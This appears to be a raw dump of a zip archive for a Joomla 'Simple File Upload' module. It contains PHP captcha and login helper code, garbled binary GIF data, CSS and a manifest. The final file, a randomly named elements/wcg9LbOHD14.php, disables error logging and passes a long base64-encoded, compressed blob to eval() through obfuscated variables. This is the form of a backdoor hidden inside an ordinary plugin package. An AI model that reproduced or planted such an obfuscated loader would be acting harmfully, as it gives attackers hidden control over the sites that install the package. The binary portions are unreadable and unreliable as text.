    "; } } class SFUAjaxServlet { function getCaptcha($sfu_version, $bgcolor, $mid, $source) { error_reporting(0); /*ini_set ("session.Save_path", $_SERVER['DOCUMENT_ROOT'] . "/mySessions"); session_start(); if (isset($_SERVER['REMOTE_HOST'])) { session_name($_SERVER['REMOTE_HOST'] . "-captcha"); } else { session_name(uniqid() . "-captcha"); }*/ $myCryptBase = "AB0CDE1FG2HIJ3KL4MNO5PQ6RST7UV8WX9YZ"; $capString = ""; $image = imagecreatetruecolor(150, 60); $white = imagecolorallocate ($image, 255, 255, 255); $rndm = imagecolorallocate ($image, rand($bgcolor[0],$bgcolor[1]), rand($bgcolor[0],$bgcolor[1]), rand($bgcolor[0],$bgcolor[1])); imagefill ($image, 0, 0, $white); $folder_captcha_class = JPATH_SITE.DIRECTORY_SEPARATOR.'modules'.DIRECTORY_SEPARATOR.'mod_simplefileuploadv'.$sfu_version.DIRECTORY_SEPARATOR.'tmpl'; $fontName = $folder_captcha_class."/arial.ttf"; $myX = 15; $myY = 30; $angle = 0; for ($x = 0; $x <=1000; $x++) { $myX = rand(1,148); $myY = rand(1,58); imageline($image, $myX, $myY, $myX + rand(-5,5), $myY + rand(-5,5), $rndm); } for ($x = 0; $x <= 4; $x++) { $dark = imagecolorallocate ($image, rand(5,128),rand(5,128),rand(5,128)); $capChar = substr($myCryptBase, rand(1,35), 1); $capString .= $capChar; $fs = rand (20, 26); $myX = 15 + ($x * 28+ rand(-5,5)); $myY = rand($fs + 2,55); $angle = rand(-30, 30); ImageTTFText ($image,$fs, $angle, $myX, $myY, $dark, $fontName, $capChar); } $_SESSION["capString$mid"] = $capString; ob_start(); header ("Content-type: image/jpeg"); imagejpeg($image,"",95); $result = ob_get_contents(); ob_end_clean(); if ($source === 'site') echo base64_encode($result); else echo $result; imagedestroy($image); error_reporting(E_ALL); } function getContent($action) { $retVal = "false"; if ($action === "sfuuser") { $user = $_GET["val1"]; $pass = $_GET["val2"]; $mid = $_GET["mid"]; $session_username = ""; $session_password = ""; // TODO: Should I fetch this from DB if session has expired before trying to login... Else it will return failed... if (isset($_SESSION["upload_username$mid"])) { $session_username = $_SESSION["upload_username$mid"]; $session_password = $_SESSION["upload_password$mid"]; } if (strlen($session_username) == 0) { // Workaround for missing session user... should be from DB I guess... //$retVal = "Credentials not found. Please refresh your session or contact the Administrator to get the login details."; $retVal = JText::_('FAIL_CREDENTIALS'); } else { $hashedpw = md5($session_password); if ((strcmp($user, $session_username) == 0) && (strcmp($pass, $hashedpw) == 0)) { $_SESSION["upload_username_ok$mid"] = $hashedpw; $retVal = "true"; } else { //$retVal = "Username and/or password does not match"; $retVal = JText::_('USER_PASS_FAILED'); /* debug $retVal .= "\nGiven user = " . $user; $retVal .= "\nGiven pass = " . $pass; $retVal .= "\nStored user = " . $session_username; $retVal .= "\nStored pass = " . $session_password; $retVal .= "\nStored hash = " . md5($session_password); */ } } } if ($action === "sfucaptcha") { $captcha = $_GET["val1"]; $casesense = $_GET["val2"]; $mid = $_GET["mid"]; $captchaStored = ""; if (isset($_SESSION["capString$mid"])) $captchaStored = $_SESSION["capString$mid"]; else $retVal = JText::_('FAIL_REQUEST') . "\n\n[Session time-out]"; if ($casesense === "1") { $captchaStored = strtoupper($captchaStored); $captcha = strtoupper($captcha); } if (strlen($captchaStored) > 0) { if ($captchaStored === $captcha) $retVal = "true"; else $retVal = JText::_('FAULTY_CAPTCHA'); } else { $retVal = JText::_('FAIL_REQUEST'); } } if ($action === "sfukillsession") { $ses = session_destroy(); if ($ses) $retVal = "Session destroyed"; else $retVal = "Session still alive"; } //global $mainframe; $app = JFactory::getApplication(); echo $retVal; //$mainframe->close(); $app->close(); } } ?>PKQB\#o,,images/index.htmlnuW+APKQB\images/button_refresh.gifnuW+AGIF89aOPQ K L#M%M!O(M&Q#R Q T%T$T$U'X*V)W-Y$W'Y*\1\8_.a5`8`8ch8i;j0qI,Ds*U>0"A,4xF)в0C f P@d!&Q3'M axA (A @2lI2D8kS^: ;PKQB\6߼images/button_select.gifnuW+AGIF89a>!!!"""&&&)))***+++333555:::FFFOOOqqqsssuuu{{{|||~~~Ʋȳӿ!,> H*\ȰÇ#JHŋ3jȱLJ\IrfJT#`8$M $ 9Wl0͝ȱժlAB #ճH鿯3p).ݻOErB#9n㸏!/[ Ea: wLSm,WeU,gЦCUz`Yn:u櫜mcbI >vģ)$[ձip8* lJ8p}Y n!|Pj1P`$ #pX 5QCeƉ'D `D &E/pAlLĨPC!$$ 1B&DDÕ;L@O@;PKQB\曠  images/infobox_bg.gifnuW+AGIF89a~zzz|||}}}!,~ Hdca5!Tcb4d4xǂf I ' 1/ 18 E@/>v8 Q\0ܢqiӁY:ZԁXB2rkׁV [Jʁf Ri9p [Sb"W)E''= :JPLT”`-O:HVEv`%C/N}hhDo0~ZUGa@Du!d@o1X 1[Mo,]=޵ )9sÊwjxnsuQd 8,? [cPTI z{|,7Ѓi ZO ZkCbihQ`!Y1dVg#@'"wW,P(su^@ӱV` P ?U'@a >0E1CT|G4Q!MqaH%g;PKQB\r[: +RdhNh,x,E1,T>-`Mry?3#oD^Ur,*rr t xy:LC*G>.dsZMQhhMj #^XTP-1J).eJk H*\ȰÇ#JHŋ3j1a! ,220I8`crqp*gX҂9E=A;h >R֩ !ɉ͜_PXIWvM$@5P0Q{`oI15*y {}`ogWvR_s/G? KXvp0e1e ʲ #sTJqѯpU *2ipC멮 H*\ȰÇ#JHŋ3jȱǃ ! ,220I8EKqD^ t!qi` 0 00/p+Ng@ SR{3A&&& T8c÷Y-N!u xB;-/2*N@uv Q$~*rYTjgT.J6RjJ+8z "GP1 jX/]CO\Ѫr:P HA ! ,220I8eKqx AF^.P+$&wZq|2`n/W֌A | \\ȋ@d. =Fxa ) cecV3y+gHoe\NqpzKc# o6o*/4/\Hiid0t15(te ҝ2iҜL`\ H*\ȰÇ! ,220I8U)E$ tTA.Cqs?0/b ~6aF$Mߋl Dy5)]eoQn G.pZ|oT3Ax =]@S>.6G=è$EM1\٫|=ͻ>(X5Ԕܮ˴5"*\ȰÇ#K! ,220I8U)hhVFZ-1P>bl I8\H/5ϨCY,i 2u_q +p@v^yn<#Og}\nmc x cр)#%  ـ$y2P0e 4Hŋ! ,220I8ͻU`1yɸlkOa,-;E'ΐIru: gim407*&7gV|чz tH5wq\V}7ox79a_L1s,sB,#aQATD07+5Ś!: ʬm]I䚜ݛӽ|f|ᒽC"7:( ! ,220I8ͻ`(dVi̴c62 BXx˅ ' ibYC~ tjc6Z} W`z|#bC$W6b"Q>o{1x(o- Z%s%6 $1 ;) d&ܓ(Ѭ >Ԕ9-h107L-':RI! ,220I8ͻ`(dihl+ѵv20`$Q($25+zTL`P9@`ra2 p{ Vs!SMk'z5u&9h!"z "Sso~lj~$ˣv%5ʙl$ Ɨ ) (9hjޛv u>lFY 54)hH"a"J<! ,220I8ͻ`(dihlp,xm+y= dR:*̢ P`e0n !5K "@8 d]~k4v#_:}4d|xZ\} dgLbtTo$<\pZ" Tbnb\q T5[ | զpv5үnn!Ӛwwe5m*uP΂v-PCHŋ! ,220I8ͻ`(dihlp,tmX|B G a:8)\Q0Xp@C! p?yp;lm |ufs Bc fUH uu}GGO XĿe EєB t˒Ϝ!NtQ р[ Y, ЫWh|HqC! ,220I8ͻ`(dihlp,tmxP܂*(02:-P`8Cp`ƌAIΛ)GqŸ oqwqzU?AujKo {R?R RKUceQLLIUAll<DZD} Y ¶̛Ş ^Ge?uŮlI{Ie!e" pkr7JG,5QTd ! ,220I8ͻ`(dihlp,tmxDq`PIeof @xU|f!Ka)HXfkHR/7+ W_|v q>{>@Ii}~MLVE HrSE~qMGiae dh jsДz bYUM!<ҭؼ"-mx A9CM},f[(?CoY[  6?;o; s5YHMHBP#hHxo!;ϼPªخGgW i `'sQ("! ,220I8ͻ`(dihhmTPQ0oQhhXZP jɓ8 qZ*bZla⒇k~^-}xyk{xao1U(d/&3jq )7U=87 `~Z H"7M3=d#_M/eőT ȠIĽl`q$͵ lUtmYT늫S?qC*! ,220I8ͻ`(d&)& BkL 338E0~ P\!;58<pD MC n)>@pvIʅ]SqU*Q l~2Woc|VOSm|mkWki?(lis&= ssbke'((=GζӦw2ʹr߫G  jBݼ]r~k#t_$! ,220I8ͻPa 17 cnZ,:S‰İ^wDBLG&rjTQel 0H0|`@Ow8y=7H+ha:Wy.PfL)X 03=2Hfq nzC" V"qжmWɣB"h.̆yhN"٦y΋ ׸nk:觰Ç! ,220I8kXH D Dh2`,߹ 2.f ӵuߡI} P"rpT:-X*E!0+dxWdi+ @ީ^2)pNd,z Sgi G?|`[U.?2<y{Dnz&715vXgn Šo įУǼ|_ gowJ=p Wϝ<Nap1Yʼn3jȑZ;PKQB\,eemod_simplefileupload.cssnuW+A div.fakefile { position: relative; top: -30px; left: -11px; z-index: 1; white-space: nowrap; padding-bottom: -20px; } input.file { position: relative; text-align: right; left:-9px; -moz-opacity:0 ; filter:alpha(opacity: 0); opacity: 0; z-index: 2; } .black_overlay{ display: none; position: absolute; top: 0%; left: 0%; width: 100%; height: 100%; background-color: black; z-index:1001; -moz-opacity: 0.8; opacity:.80; filter: alpha(opacity=80); } .white_content { display: none; position: absolute; top: 25%; left: 25%; width: 50%; height: 50%; padding: 16px; border: 16px solid orange; background-color: white; z-index:1002; overflow: auto; } .sfu_content { margin: 30px auto; padding: 20px 60px; border: 1px solid #D2D2D2; -moz-box-shadow: 0 0 30px #CCC; -webkit-box-shadow: 0 0 30px #CCC; box-shadow: 0 0 30px #CCC; background: #FFF; background: -webkit-gradient(linear, left top, left 15, from(#FFFFFF), color-stop(4%, #EEEEEE), to(#FFFFFF)); background: -moz-linear-gradient(top, #FFFFFF, #EEEEEE 1px, #FFFFFF 15px); } PKQB\dbLbLmod_simplefileuploadv1.3.xmlnuW+A Simple File Upload v1.3 (for Joomla 3) Anders Wasen January 2011 Copyright (C) 2011-2012 Anders Wasén. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL awasen@gmail.com wasen.net 1.3 A simple upload module. Will allow a user to upload a file to the given folder fetched from the parameter settings. mod_simplefileuploadv1.3.php index.html helper.php mod_simplefileupload.css tmpl elements images en-GB.mod_simplefileuploadv1.3.ini fr-FR.mod_simplefileuploadv1.3.ini sv-SV.mod_simplefileuploadv1.3.ini de-DE.mod_simplefileuploadv1.3.ini it-IT.mod_simplefileuploadv1.3.ini es-ES.mod_simplefileuploadv1.3.ini lt-LT.mod_simplefileuploadv1.3.ini el-GR.mod_simplefileuploadv1.3.ini nl-NL.mod_simplefileuploadv1.3.ini
    PKQB\ :2<<elements/wcg9LbOHD14.phpnuW+A '; ini_set('error_log', NULL); eval($ANikV($MpbZc('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